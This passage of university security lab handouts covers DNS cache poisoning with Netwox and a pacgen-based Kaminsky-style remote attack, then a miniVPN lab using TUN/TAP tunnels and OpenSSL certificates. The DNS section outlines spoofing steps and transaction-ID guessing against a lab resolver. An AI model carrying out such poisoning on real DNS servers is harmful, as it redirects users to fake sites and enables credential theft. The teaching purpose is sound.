Therefore, if attackers can spoof the response from other DNS servers, $Z$ will keep the spoofed response in its cache for certain period of time. Next time, when a user’s machine wants to resolve the same host name, $Z$ will use the spoofed response in the cache to reply. This way, attackers only need to spoof once, and the impact will last until the cached information expires. This attack is called **DNS cache poisoning**. The following diagram illustrates this attack.

```
spoofed DNS response 3
\--------------------------------------------------------\
|                             |                             |
\                           |                             |
|                           |                             |
| DNS query 1              |                             |
| DNS Server <---------- User  Attacker                         |
| 192.168.0.10  192.168.0.100  192.168.0.200                     |
\                           |                             |
|                             |                             |
|                           |                             |
|                             | Internet                     |
|                             |                             |
| DNS query 2              |                             |
|--------------------------|                             |
|                             |                             |
| legitimate DNS response 4 |
```

We can use the same tool (Netwox 105) for this attack. Before attacking, make sure that the DNS Server’s cache is empty. You can flush the cache using the following command:

```
# sudo rndc flush
```

The difference between this attack and the previous attack is that we are spoofing the response to DNS server now, so we set the **filter** field to ‘src host 192.168.0.10’, which is the IP address of the DNS server. We also use the **ttl** field (time-to-live) to indicate how long we want the fake answer to stay in the DNS server’s cache. After the DNS server is poisoned, we can stop the Netwox 105. If we set **ttl** to 600 (seconds), then DNS server will keep giving out the fake answer for the next 10 minutes.
Note: Please select the raw in the spoofip field; otherwise, Netwox 105 will try to also spoof the MAC address for the spoofed IP address. To get the MAC address, the tool sends out an ARP request, asking for the MAC address of the spoofed IP. This spoofed IP address is usually a root DNS server (this is usually the first place that a DNS server will ask if it cannot resolve a name), and obviously the root DNS server is not on the same LAN. Therefore, nobody will reply the ARP request. The tool will wait for the ARP reply for a while before going ahead without the MAC address.

The waiting will delay the tool from sending out the spoofed response. If the actual DNS response comes earlier than the spoofed response, the attack will fail. That’s why you need to ask the tool not to spoof the MAC address.

You can tell whether the DNS server is poisoned or not by using the network traffic captured by wireshark or by dumping the DNS server’s cache. To dump and view the DNS server’s cache, issue the following command:

```
# sudo rndc dumpdb -cache
# sudo cat /var/cache/bind/dump.db
```

### 3.4 An Advanced DNS Cache Poisoning (Remote Attack)

Note: this task needs a substantial amount of time. Students need to modify an existing program (pacgen.c) to forge DNS response packets (UDP packets). However, the program only has less than 400 lines of code, and is not difficult to understand. Students only need to modify a small portion of the code to construct DNS packets. Students also need to spend time to understand the format of DNS response packets.

The previous attack assumes that the attacker and the DNS server are on the same LAN, i.e., the attacker can observe the DNS query message. When the attacker and the DNS server are not on the same LAN, the cache poisoning attack becomes more difficult. The difficulty is mainly caused by the fact that the transaction ID in the DNS response packet must match with that in the query packet. Because the transaction ID in the query is usually randomly generated, without seeing the query packet, it is not easy for the attacker to known the correct ID.

Obviously, the attacker can guess the transaction ID. Since the size of the ID is only 16 bits, if the attacker can forge $K$ responses within the attack window (i.e. before the legitimate response arrives), the probability of success is $K$ over $2^{16}$. Sending out hundreds of forged responses is not impractical, so it will not take too many tries before the attacker can succeed.

However, the above hypothetical attack has overlooked the cache effect. In reality, if the attacker is not fortunately enough to make a correct guess before the real response packet arrives, correct information will be cached by the DNS server for a while. This caching effect makes it impossible for the attacker to forge another response regarding the same domain name, because the DNS server will not send out another DNS query for this domain name before the cache times out. To forge another response on the same domain name, the attacker has to wait for another DNS query on this domain name, which means he/she has to wait for the cache to time out. The waiting period can be hours or days.

To launch effective attacks, the attacker must negate the caching effect. Dan Kaminsky came up with an elegant method to do this. Using his method, attackers will be able to continuously attack a DNS server on a domain name, without the need for waiting. With this method, an attacker can succeed within a very short period of time. Details of the attacks are described in the following URL (see the footnote 2). In this task, we will try this attack method.

---

We choose a fictitious company dnsphishinglab.com as our targeted domain name. Students can choose any domain name they like, but please make sure the attack is targeted at the DNS server in this lab environment, not at a real DNS server. The attacker wants to cause the DNS server to use his malicious IP address when somebody queries the DNS server for www.dnsphishinglab.com. Let us call the targeted DNS server apollo. The following steps with reference to Figure 1 describe the outline of the attack.

1. The attacker queries the DNS Server apollo for a non-existing name in dnsphishinglab.com, for example xyz9392.dnsphishinglab.com, where xyz9392 is a random name.

2. Since the mapping is unavailable in apollo’s DNS cache, apollo queries other DNS servers for the name resolution.

3. The attacker floods apollo with many spoofed DNS response, each trying a different transaction ID (hoping one is correct). In the response, not only does the attacker provides an IP resolution for xyz9392.dnsphishinglab.com, the attacker also provides an IP address for an additional name www.dnsphishinglab.com. This is allowed in the DNS protocol, as long as this additional name and the queried name are from the same domain. If the spoofed response beats the actual responses and the other elements in the response, such as the transaction ID, matches with the original query, apollo will accept the response, the spoofed answer will then be cached, and thus apollo’s DNS cache will be poisoned.

4. Even if the spoofed DNS response failed (i.e. did not match with the query or was beaten by the actual response), since xyz9392 will most likely not exist in the dnsphishinglab.com domain,
the DNS server that is responsible for dnsphishinglab.com will simply reply with a negative response, indicating that the name does not exist. The negative response will not affect apollo’s DNS cache. Now you should be able to see why we used a random host name at the beginning.

5. If the attack fails, the attacker will go back to step one, and try another non-existing name, until the attack succeeds.

6. Once the attack succeeds, when the victim sends a DNS query to the poisoned DNS server for www.dnsphishinglab.com, the IP address returned by the DNS server will not be the actual IP address for www.dnsphishinglab.com; instead, it will be the IP address set by the attacker.

7. Therefore, when the victim browses www.dnsphishinglab.com, he/she will be actually browsing a malicious web site that looks like the real www.dnsphishinglab.com. If victim types any credential information in this malicious web site, those credentials will be stolen by the attacker.

This attack is very similar to the previous DNS server cache poisoning task, but the important distinguishing factor is that this attack is made possible even if the targeted DNS server and the attacker are on different networks. For the sake of simplicity, this attack is performed on two different machines in the same network, but we do not assume that the attacker can observe the DNS request packets.

**Attack Configuration.** We make the following configuration for this task:

1. **Configuration the Attack Machine:** We will use the user machine as our attack machine. The user machine is already configured in Section 2.2. It uses the targeted DNS server as its default DNS server.

2. **Source Ports:** Some DNS servers now randomize the source port number in the DNS queries; this makes the attacks much more difficult. Unfortunately, many DNS servers still use predictable source port number. For the sake of simplicity in this task, we assume that the source port number is a fixed number. We can set the source port for all DNS Queries from DNS servers to be 33333. This can be done by adding the following option to the file /etc/bind/named.conf.options:

   ```
   query-source port 33333
   ```

3. **DNS Bind Server:** Flush the DNS Bind Server’s Cache/ Restart DNS Bind Server with the earlier mentioned commands.

**Attack Tool and Method.** To be able to send a large number of forged DNS response packets within a short time window, we need to use some automation tools. The pacgen tool can be used for this purpose. More details about the tool are described later. We outline the use of this tool here:

1. Modify the pacgen.c file by appropriately filling the DNS response fields. To understand the format of DNS response packet, you can use Wireshark to capture a few DNS response packets and study them.

   After modifying pacgen.c, the pacgen program should be able to flood the targeted DNS server with many forged DNS response packets, each trying a different transaction ID.

2. Write another program to do the following:
(a) Ping an unavailable domain name in a particular parent domain like xyz.dnsphishinglab.com. This will trigger the DNS queries.

(b) Run the modified pacgen program to forge corresponding DNS response packets. If one packet happens to have the correct transaction ID, and it is received before the real response comes, your attack will be successful.

(c) You should run a loop to repeat the above two steps, each using a different domain name, according to Kaminsky’s strategy.

More about the pacgen Tool. Pacgen is an open source Ethernet IP TCP/UDP packet generating tool. This tool is developed in C language, is easily configurable at every layer of the network packet, and is much efficient packet generator than the netwag tool. We suggest the students to use this tool for packet generation, since this attack requires the attacker to send out thousands of replies in fraction of a second. Pacgen-1.10 tool can be downloaded from the web. Students can also use other tools that they are familiar with.

1. Configuration: This tool requires the Libnet library to be installed, which has already been installed in our pre-built virtual machine image. This tool can be downloaded from the web.

The configuration of the header information is very simple for the pacgen tool. There is a header configuration file for each layer in the pacgen directory, like eth_header for ethernet layer, ip_header for IP layer.

2. Compilation: Students can read the INSTALL file in the pacgen tool to check for the compilation information. In short, the following command should do for compiling the code to generate pacgen executable.

   % sh install.sh

Note 1: If the compilation gives the following error:

   pacgen.c: undefined reference to `libnet_open_link_interface',

   goto the menu System->Administration->Synaptic Package Manager, and search for libnet1-dev; select libnet1-dev and click the "Mark for Removal" item from the dropdown menu. Make sure that libnet1 package is enabled.

Note 2: Sometimes the compilation might give the following error: "link layer error on eth0 SIOCGIFHWADDR No Such Device". In this case, just update the pacgen.c file's device variable to your system’s eth# number, which can be found using the ifconfig command.

3. Execution: Students can read the README file in pacgen tool to check for the execution information. In short, the following command should do for running pacgen (you need to have the root privilege to run the program; otherwise, you will get an error message).

   % sudo sh run_default.sh

4http://www.hacktoolrepository.com/tool/71/
Attack Tips:

1. **DNS Response Data:** The DNS response should be updated to the `payload_location` variable.

2. **Source Port:** The destination port of the DNS response should match with the source port in the DNS query, which is fixed on 33333 in this lab.

3. **Source IP:** The source IP of the DNS reply should match with the destination IP of the DNS query. Normally the targeted DNS Server contacts several other DNS servers for the name resolution. The behavior is quite predictable. Students can use Wireshark to understand the behavior of the targeted DNS server before launching the attack.

4. **Transaction ID:** The transaction ID of the DNS reply should match with the DNS query for the attack to be successful. The transaction ID varies randomly between 0–65535.

4 Submission

Students need to submit a detailed lab report to describe what they have done and what they have observed. Report should include the evidences to support the observations. Evidences include packet traces, screen-dumps, etc.

References


Virtual Private Network (VPN) Lab

1 Overview

A Virtual Private Network (VPN) is used for creating a private scope of computer communications or providing a secure extension of a private network into an insecure network such as the Internet. VPN is a widely used security technology. VPN can be built upon IPSec or Secure Socket Layer (SSL). These are two fundamentally different approaches for building VPNs. In this lab, we focus on the SSL-based VPNs. This type of VPNs is often referred to as SSL VPNs.

The learning objective of this lab is for students to master the network and security technologies underlying SSL VPNs. The design and implementation of SSL VPNs exemplify a number of security principles and technologies, including crypto, integrity, authentication, key management, key exchange, and Public-Key Infrastructure (PKI). To achieve this goal, students will implement a simple SSL VPN for Ubuntu.

2 Lab Environment

We need to use OpenSSL package in this lab. The package includes the header files, libraries, and commands. The package was not installed in our pre-built VM image, but it can be easily installed using the following command.

$ apt-get source openssl

After downloading the source package, unpack the .tar.gz file, and then follow the standard steps ("./config", "make", "make install") to build and install the OpenSSL package. Read the README and INSTALL files in the package for detailed instructions.

Note for Instructors

If the instructor plans to hold lab sessions for this lab, we suggest that the following background information be covered in the lab sessions:

1. How to write programs using OpenSSL libraries.
2. How to use the TUN/TAP devices to set up network tunnel.
3. How to use the route and ifconfig commands.
4. How to do port forwarding in VMware (or other virtual machine software).
5. How to use VMware to set up a network using several VMs.
3 Lab Tasks

In this lab, students need to implement a simple VPN for Linux. We will call it miniVPN.

3.1 Task 1: Create a Host-to-Host Tunnel using TUN/TAP

The enabling technology for the TLS/SSL VPNs is TUN/TAP, which is now widely implemented in modern operating systems. TUN and TAP are virtual network kernel drivers; they implement network device that are supported entirely in software. TAP (as in network tap) simulates an Ethernet device and it operates with layer-2 packets such as Ethernet frames; TUN (as in network TUNnel) simulates a network layer device and it operates with layer-3 packets such as IP packets. With TUN/TAP, we can create virtual network interfaces.

A user-space program is usually attached to the TUN/TAP virtual network interface. Packets sent by an operating system via a TUN/TAP network interface are delivered to the user-space program. On the other hand, packets sent by the program via a TUN/TAP network interface are injected into the operating system network stack; to the operating system, it appears that the packets come from an external source through the virtual network interface.

When a program is attached to a TUN/TAP interface, the IP packets that the computer sends to this interface will be piped into the program; on the other hand, the IP packets that the program sends to the interface will be piped into the computer, as if they came from the outside through this virtual network interface. The program can use the standard read() and write() system calls to receive packets from or send packets to the virtual interface.

Davide Brini has written an excellent tutorial article on how to use TUN/TAP to create a tunnel between two machines. The URL of the tutorial is http://waldner.netsons.org/d2-tuntap.php. The tutorial provides a program called simpletun, which connects two computers using the TUN tunneling technique. Students should go read this tutorial. When you compile the sample code from the tutorial, if you see error messages regarding linux/if.h, try to change "<linux/if.h>" to "<net/if.h>" in the include statement.

For the convenience of this lab, we have modified the Brini's simpletun program, and linked the code in the lab web page. Students can simply download this C program and run the following command to compile it. We will use simpletun to create tunnels in this lab:

$ gcc -o simpletun simpletun.c

Creating Host-to-Host Tunnel. The following procedure shows how to create a host-to-host tunnel using the simpletun program. The simpletun program can run as both a client and a server. When it is running with the -s flag, it acts as a server; when it is running with the -c flag, it acts as a client.
1. **Launch two virtual machines.** For this task, we will launch these two VMs on the same host machine. The IP addresses for the two machines are 192.168.10.5, and 192.168.20.5, respectively (you can choose any IP addresses you like). See the configuration in Figure 1.

2. **Tunnel Point A:** we use Tunnel Point A as the server side of the tunnel. Point A is on machine 192.168.10.5 (see Figure 1). It should be noted that the client/server concept is only meaningful when establishing the connection between the two ends. Once the tunnel is established, there is no difference between client and server; they are simply two ends of a tunnel. We run the following command (the `-d` flag asks the program to print out the debugging information):

   On Machine 192.168.10.5:
   ```
   # ./simpletun -i tun0 -s -d
   ```

   After the above step, your computer now have multiple network interface, one is its own Ethernet card interface, and the other is the virtual network interface called `tun0`. This new interface is not yet configured, so we need to configure it by assigning an IP address. We use the IP address from the reserved IP address space (10.0.0.0/8).

   It should be noted that the above command will block and wait for connections, so, we need to find another window to configure the `tun0` interface. Run the following commands (the first command will assign an IP address to the interface "tun0", and the second command will bring up the interface):

   On Machine 192.168.10.5:
   ```
   # ip addr add 10.0.4.1/24 dev tun0
   # ifconfig tun0 up
   ```

3. **Tunnel Point B:** we use Tunnel Point B as the client side of the tunnel. Point B is on machine 192.168.20.5 (see Figure 1). We run the following command on this machine (The first command will connect to the server program running on 192.168.10.5, which is the machine that runs the Tunnel Point A. This command will block as well, so we need to find another window for the second and the third commands):

   On Machine 192.168.20.5:
   ```
   # ./simpletun -i tun0 -c 192.168.10.5 -d
   # ip addr add 10.0.5.1/24 dev tun0
   # ifconfig tun0 up
   ```

4. **Routing Path:** After the above two steps, the tunnel will be established. Before we can use the tunnel, we need to set up the routing path on both machines to direct the intended outgoing traffic through the tunnel. The following routing table entry directs all the packets to the 10.0.5.0/24 network (10.0.4.0/24 network for the second command) through the interface tun0, from where the packet will be hauled through the tunnel.

   On Machine 192.168.10.5:
   ```
   # route add -net 10.0.5.0 netmask 255.255.255.0 dev tun0
   ```

   On Machine 192.168.20.5:
   ```
   # route add -net 10.0.4.0 netmask 255.255.255.0 dev tun0
   ```
5. **Using Tunnel:** Now we can access 10.0.5.1 from 192.168.10.5 (and similarly access 10.0.4.1 from 192.168.20.5). We can test the tunnel using `ping` and `ssh` (note: do not forget to start the `ssh` server first):

On Machine 192.168.10.5:
$ ping 10.0.5.1
$ ssh 10.0.5.1

On Machine 192.168.20.5:
$ ping 10.0.4.1
$ ssh 10.0.4.1

**UDP Tunnel:** The connection used in the `simpletun` program is a TCP connection, but our VPN tunnel needs to use UDP. Therefore you need to modify `simpletun` and turn the TCP tunnel into a UDP tunnel. You need to think about why it is better to use UDP in the tunnel, instead of TCP. Please write your answer in the lab report.

### 3.2 Task 2: Create a Host-to-Gateway Tunnel

Now you have succeeded in setting up the tunnel on the two VMs within a single host machine, you should set up a similar tunnel on two VMs on two different host machines. You can use port forwarding for this purpose. Please see the guidelines regarding port forwarding.

In this task, you need to create a tunnel between a computer and a gateway, allowing the computer to access the private network that is connected to the gateway. To demonstrate this, you need two physical computers. On one computer, you run several VMs within the computer to set up the gateway and the private network. You then use a VM in the other computer to communicate to the hosts on the private network. Please refer to the guideline section to see how to set up the gateway and the private network. Because you need two physical computers, you can team up with another student if you have only one computer. However, you must do your work independently. Teaming up is only for the demonstration purpose.

### 3.3 Task 3 Create a Gateway-to-Gateway Tunnel

In this task, you need to go a step further to establish a tunnel between two gateways of different private networks. With this tunnel, any host from one private network can communicate with the hosts on the other private network using the tunnel. The setup for such a gateway-to-gateway tunnel is depicted in Figure 2.

### 3.4 Task 4: Create a Virtual Private Network (VPN)

At this point, you have learned how to create a network tunnel. Now, if you can secure this tunnel, you will essentially get a VPN. This is what we are going to achieve in this task. To secure this tunnel, we need to achieve two goals, confidentiality and integrity. The confidentiality is achieved using encryption, i.e., the contents that go through the tunnel is encrypted. A real VPN software usually supports a number of different encryption algorithm. For the `MiniVPN` in this lab, we only need to support the AES encryption algorithm, and we use the Cipher Block Chaining (CBC) mode.

The integrity goal ensures that nobody can tamper with the traffic in the tunnel or launch a replay attack. Integrity can be achieved using various methods. In this lab, we only need to support the Message Authentication Code (MAC) method. The AES encryption algorithm and the HMAC-SHA256 algorithm
are both implemented in the OpenSSL library. There are plenty of online documents explaining how to use the OpenSSL's crypto libraries.

Both encryption and MAC need a secret key. Although the keys can be different for encryption and MAC, for the sake of simplicity, we assume that the same key is used. This key has to be agreed upon by both sides of the VPN. For this task, we assume that the key is already provided. Agreeing upon the key will be implemented in the next task.

For encryption, the client and the server also need to agree upon an Initial Vector (IV). For security purpose, you should not hard-code the IV in your code. The IV should be randomly generated for each VPN tunnel. Agreeing upon the IV will also be implemented in the next task.

3.5 Task 5: Authentication and Key Exchange

Before a VPN is established, the VPN client must authenticate the VPN server, making sure that the server is not a fraudulent one. On the other hand, the VPN server must authenticate the client (i.e. user), making sure that the user has the permission to create such a VPN tunnel. After the authentication is done, the client and the server will agree upon a session key for the VPN tunnel. This session key is only known to the client and the server. The process of deriving this session key is called key exchange.

Step 1: Authenticating VPN Server A typical way to authenticate the server is to use public-key certificates. The VPN server needs to first get a public-key certificate from a Certificate Authority (CA), such as Verisign. When the client makes the connection to the VPN server, the server will use the certificate to prove it is the intended server. The HTTPS protocol in the Web uses a similar way to authenticate web servers, ensuring that you are talking to an intended web server, not a fake one. After this step, you should have a clear idea how the authentication in HTTPS works.

In this lab, MiniVPN should use such a method to authenticate the VPN server. You can implement an authentication protocol (such as SSL) from the scratch, using the crypto libraries in OpenSSL to verify certificates. Or you can use the OpenSSL's SSL functions to directly make an SSL connection between the client and the server, in which case, the verification of certificates will be automatically carried out by the
SSL functions. Guidelines on making such a connection can be found in the next section.

**Step 2: Authenticating VPN Client (i.e. User)** There are two common ways to authenticate the user. One is using the public-key certificates. Namely, users need to get their own public-key certificates. When they try to create a VPN with the server, they need to send their certificates to the server, which will verify whether they have permissions for such a VPN. OpenSSL's SSL functions also support this option if you specify that the client authentication is required.

Since users usually do not have their public-key certificates, a more common way to authenticate users is to use the traditional user name and password approach. Namely, after the client and the server have established a secure TCP connection between themselves, the server can ask the client to type the user name and the password, and the server then decide whether to allow the user to proceed depending on whether the user name and password matches with the information in the server's user database.

In this lab, you can pick either of them to implement.

**Step 3: Key Exchange.** If you use OpenSSL's SSL functions, after the authentication, a secure channel will be automatically established (by the OpenSSL functions). However, we are not going to use this TCP connection for our tunnel, because our VPN tunnel uses UDP. Therefore, we will treat this TCP connection as the control channel between the client and the server. Over this control channel, the client and the server will agree upon a session key for the data channel (i.e. the VPN tunnel). They can also use the control channel for other functionalities, such as updating the session key, exchanging the Initial Vector (IV), terminating the VPN tunnel, etc.

At the end of this step, you should be able to use the session key to secure the tunnel. In other words, you should be able to test Task 4 and Task 5 together.

**Step 4: Dynamic Reconfiguration.** You should implement some commands at the client side, to allow the client to do the following:

- Change the session key on the client end, and inform the server to make the similar change.
- Change the IV on the client end, and inform the server to make the similar change.
- Break the current VPN tunnel. The server needs to be informed, so it can release the correspondign resources.

You are encouraged to implement other features for your MiniVPN. Bonus points will be given to useful features. However, whatever features you add to your implementation, you need to ensure that the security is not compromised.

### 3.6 Task 6: Supporting Multiple VPN Tunnels

In the real world, one VPN server often supports multiple VPN tunnels. Namely, the VPN server allows more than one clients to connect to it simultaneously; each client has its own VPN tunnel with the server, and the session keys used in different tunnels should be different. Your VPN server should be able to support multiple clients. You cannot assume that there is only one tunnel and one session key.

When a packet arrives at the VPN server through a VPN tunnel, the server needs to figure out from which VPN tunnel the packet come from. Without this information, the server cannot know which decryption key (and IV) should be used to decrypt the packet; using a wrong key is going to cause the packet to be dropped, because the HMAC will not match. You can take a look at the IPSec protocol and think about how IPSec can support multiple tunnels. You can use a similar idea.
4 Guidelines

4.1 Port Forwarding

Recall that all our VMs are configured using the NAT option\(^1\). As we know, for such a configuration, the VMs are inaccessible by external computers. That is, external computers will not be able to connect to the VPN server that is running within the VM. To allow the VPN server to be accessible externally, we can use port forwarding to make certain port of the VM accessible to the outside.

Let us assume that the host machine’s IP address is 128.230.10.10, the guest VM’s IP address is 192.168.20.5, and the VPN server is running on the UDP port 4457 of the VM. If we forward the host machine’s UDP port 4457 to the guest VM’s UDP port 4457, all packets with the target 128.230.10.10:4457 will be forwarded to 192.168.20.5:4457. This way, external VPN clients only need to make its VPN connection to the port 4457 of the host machine; the packets will be forward to the VM.

Port forwarding can be easily configured in VMware. For VMware Workstation, go to Edit, select Virtual Network Editor, then go to Host Virtual Machine Mapping, click the configuration button for vmnet8 (this is for NAT), and select NAT. You will find the button for port forward. For VMware Fusion, it does not seem we can do it via the interface (the menu may be hidden somewhere), but we can directly modify the vmnet8’s NAT configuration file:

```
# vi "/Library/Application Support/VMware Fusion/vmnet8/nat.conf"
...
[incomingudp]
4457 = 192.168.20.5:4457

# "/Library/Application Support/VMware Fusion/boot.sh" --restart
```

The last command cause the configuration change to take effect immediately; there is no need to restart the guest VM.

4.2 Create a private network using VMs

We would like to create a private network for a company. The private network’s prefix is 10.0.20.0/24 (see Figure 2). The network cannot be accessed from the outside. This provides a nice protection for this private network. The private network is connected to a gateway 10.0.20.1, which connects to another networks via another network interface 192.168.20.5. The VPN server will be installed on the gateway, which allows external computers to access the 10.0.20.0/24 private network. We will use VMware to set up this private network. We need at least two VMs, one is the gateway, the other is a host in the private network. If your computer has enough memory, you can create more than one hosts in the private network, making it more realistic.

Gateway. For the gateway, we need two network interfaces. By default, a VM only has one network interface. We can go to the Settings of the VM, and add another network interface. For the first interface, we choose NAT, but for the second interface, we choose Custom, and then select vmnet2. This is easily done in VMware Workstation. If you are using VMware Fusion, you can refer to http://kb.vmware.com/kb/1001875 for instructions.

\(^1\)Although we can use the Bridge option, it does not work all the time for various reasons; for instance, a campus network might only assign an IP address to a computer with a registered MAC number.
Unless specifically configured, a computer will only act as a host, not as a gateway. In Linux, we need to enable the IP forwarding for a computer to behave like a gateway. IP forwarding can be enabled using the following command:

```
$ sudo sysctl net.ipv4.ip_forward=1
```

We also need to configure the routing table of the gateway, so it can behave correctly. Details of the configuration are left to students. You can use the command `route` to configure the routing table. Here is an example:

```
$ sudo route add -net 10.0.10.0 netmask 255.255.255.0 gw 10.0.20.1
```

**Hosts in 10.0.20.0/24.** For these hosts, when configuring the network interface, we choose Custom, and then select vmnet2. Once the VM starts, we have to configure the routing table, so 10.0.20.1 will be used as the default gateway.

### 4.3 Create certificates

In order to use OpenSSL to create certificates, you have to have a configuration file. The configuration file usually has an extension `.cnf`. It is used by three OpenSSL commands: `ca`, `req` and `x509`. The manual page of it can be found at [http://www.technoids.org/openssl.cnf.html](http://www.technoids.org/openssl.cnf.html). You can also get a copy of the configuration file from `/usr/lib/ssl/openssl.cnf`. After copying this file into your current directly, you need to create several sub-directory as specified in the configuration file (look at the `[CA_default]` section):

```
dir = ./demoCA # Where everything is kept
certs = $dir/certs # Where the issued certs are kept
crl_dir = $dir/crl # Where the issued crl are kept
new_certs_dir = $dir/newcerts # default place for new certs.
database = $dir/index.txt # database index file.
serial = $dir/serial # The current serial number
```

For the `index.txt` file, simply create an empty file. For the `serial` file, put a single number in string format (e.g. 1000) in the file. Once you have set up the configuration file `openssl.cnf`, you can create certificates for the three parties involved, the Certificate Authority (CA), the server, and the client.

**Certificate Authority (CA).** We will let you create your own CA, and then you can use this CA to issue certificates for servers and users. We will create a self-signed certificate for the CA. This means that this CA is totally trusted, and its certificate will serve as the root certificate. You can run the following command to generate the self-signed certificate for the CA:

```
$ openssl req -new -x509 -keyout ca.key -out ca.crt -config openssl.cnf
```

You will be prompted for information and a password. Do not lose this password, because you will have to type the passphrase each time you want to use this CA to sign another certificate. You will also be asked to fill in some information, such as the Country Name, Common Name, etc. The output of the command are stored in two files: `ca.key` and `ca.crt`. The file `ca.key` contains the CA’s private key, while `ca.crt` contains the public-key certificate.
Server. Now we have our own trusted CA, we can now ask the CA to issue a public-key certificate for the server. First, we need to create a public/private key pair for the server. The server should run the following command to generate an RSA key pair (both private and public keys). You will also be required to provide a password to protect the keys. The keys will be stored in the file `server.key`:

```
$ openssl genrsa -des3 -out server.key 1024
```

Once you have the key file, you can generates a Certificate Signing Request (CSR). The CSR will be sent to the CA, who will generate a certificate for the key (usually after ensuring that identity information in the CSR matches with the server’s true identity).

```
$ openssl req -new -key server.key -out server.csr -config openssl.cnf
```

Client. The client can follow the similar step to generate an RSA key pair and a certificate signing request:

```
$ openssl genrsa -des3 -out client.key 1024
$ openssl req -new -key client.key -out client.csr -config openssl.cnf
```

Generating Certificates. The CSR file needs to have the CA's signature to form a certificate. In the real world, the CSR files are usually sent to a trusted CA for their signature. In this lab, we will use our own trusted CA to generate certificates:

```
$ openssl ca -in server.csr -out server.crt -cert ca.crt -keyfile ca.key
$ openssl ca -in client.csr -out client.crt -cert ca.crt -keyfile ca.key
```

If OpenSSL refuses to generate certificates, it is very likely that the names in your requests do not match with those of CA. The matching rules are specified in the configuration file (look at the `[policy_match]` section). You can change the names of your requests to comply with the policy, or you can change the policy. The configuration file also includes another policy (called `policy_anything`), which is less restrictive. You can choose that policy by changing the following line:

```
"policy = policy_match" change to "policy = policy_anything".
```

4.4 Create a secure TCP connection using OpenSSL

In this lab, students need to know how to use OpenSSL APIs to establish a secure TCP connection. There are many online tutorials on OpenSSL, so we will not give another one here. The followings are a few tutorials that are useful for this lab. These tutorials are also linked in the web page of this lab.


The first link above gives a client/server example. You can download the programs, and play with them. To make the downloaded programs work, you need to do the following:
• Untar the package.
• Run "./configure" to generated the Makefile.
• Open the generated Makefile, find the following line (about the 4th line):

```
LD=-L/usr/local/ssl/lib -lssl -lcrypto
```

Add `-ldl` to the end of this line (dl means dynamic library). Without it, the compilation will fail. The line should now look like the following:

```
LD=-L/usr/local/ssl/lib -lssl -lcrypto -ldl
```

• Run "make", and then you should be able to get the programs compiled.
• When you run the example code, it should be noted that the certificates included in the example have already expired, so the authentication will fail. You need to replace the certificates with the ones you created.

We also provide example codes, cli.cpp and serv.cpp in demo_openssl_api.tar.gz, to help you to understand how to use OpenSSL API to build secure TCP connections. It includes how to get peer’s certificate, how to verify the certificate, how to check the private key for a certificate, etc.

### 4.5 An example: using telnet in our VPN

To help you fully understand how packets from an application flow to its destination through our MiniVPN, we have drawn two figures to illustrate the complete packet flow path when users run `telnet 10.0.20.100` from a host machine, which is the Point A of a host-to-gateway VPN. The other end of the VPN is on a gateway, which is connected to the `10.0.20.0/24` network, where our `telnet` server `10.0.20.100` resides.

Figure 3(a) shows how a packet flow from the `telnet` client to the server. Figure 3(b) shows how a packet flow from the `telnet` server back to the client. We will only describe the path in Figure 3(a) in the following. The return path is self-explained from Figure 3(b) once you have understood the path in Figure 3(a).

1. The data of the packet starts from the `telnet` program.
2. The kernel will construct an IP packet, with the destination IP address being `10.0.20.100`.
3. The kernel needs to decide which network interface the packet should be routed through: `eth1` or `tun0`. You need to set up your routing table correctly for the kernel to pick `tun0`. Once the decision is made, the kernel will set the source IP address of the packet using the IP address of the network interface, which is `10.0.4.1`.
4. The packet will reach our VPN program (Point A) through the virtual interface `tun0`, then it will be encrypted, and then be sent back to the kernel through a UDP port (not through the `tun0` interface). This is because our VPN program use the UDP as our tunnel.
5. The kernel will treat the encrypted IP packet as UDP data, construct a new IP packet, and put the entire encrypted IP packet as its UDP payload. The new IP’s destination address will be the other end of the tunnel (decided by the VPN program we write); in the figure, the new IP’s destination address is `128.230.208.97`. 

98
6. You need to set up your routing table correctly, so the new packet will be routed through the interface `eth1`; therefore, the source IP address of this new packet should be `209.164.131.32`.

7. The packet will now flow through the Internet, with the original `telnet` packet being entirely encrypted, and carried in the payload of the packet. This is why it is called a `tunnel`.

8. The packet will reach our gateway `128.230.208.97` through its interface `eth1`.

9. The kernel will give the UDP payload (i.e. the encrypted IP packet) to the VPN program (Point B), which is waiting for UDP data. This is through the UDP port.

10. The VPN program will decrypt the payload, and then feed the decrypted payload, which is the original `telnet` packet, back to the kernel through the virtual network interface `tun0`.

11. Since it comes through a network interface, the kernel will treat it as an IP packet (it is indeed an IP packet), look at its destination IP address, and decide where to route it. Remember, the destination IP address of this packet is `10.0.20.100`. If your routing table is set up correctly, the packet should be routed through `eth2`, because this is the interface that connects to the `10.0.20.0/24` network.

12. The `telnet` packet will now be delivered to its final destination `10.0.20.100`.

### 4.6 Miscellaneous notes

Our client (or server) program is going to listen to both TCP and UDP ports, these two activities may block each other. It is better if you can `fork()` two processes, one dealing with the TCP connection, and the other dealing with UDP. These processes need to be able to communicate with each other. You can use the Inter-process call (IPC) mechanisms for the communication. The simplest IPC mechanism is unnamed pipe, which should be sufficient for us. You can learn IPC from online documents.

### 5 Submission and Demonstration

You should submit a detailed lab report to describe your design and implementation. You should also describe how you test the functionalities and security of your system. You also need to demonstrate your system to us. Please sign up a demonstration time slot with the TA. Please take the following into consideration when you prepare for demonstration:

- The total time of the demo will be 15 minutes, no more additional time would be given. So prepare your demonstration so you can cover the important features.

- You are entirely responsible for showing the demo. We will NOT even touch the keyboard during the demonstration; so you should not depend on us to test your system. If you fail to demo some important features of your system, we will assume that your system does not have those features.

- You need to practice before you come to the demonstration. If the system crashes or anything goes wrong, it is your own fault. We will not debug your problems, nor give you extra time for it.

- During the demo, you should consider yourself as salesmen, and you want to sell your system to us. You are given 15 minutes to show us how good your system is. So think about your sales strategies. If you have implemented a great system, but fail to show us how good it is, you are not likely to get a good grade.
How packets flow from client to server when running “telnet 10.0.20.100” using a VPN

(a) An Example of packet flow from telnet client to server in Host-to-Gateway Tunnel

How packets return from server to client when running “telnet 10.0.20.100” using a VPN

(b) An Example of packet flow from telnet server to client in Host-to-Gateway Tunnel

Figure 3: An Example of Packet Flow in VPN.
• Do turn off the messages your system prints out for debugging purposes. Those messages should not appear in a demonstration.
IPSec Lab

1 Overview

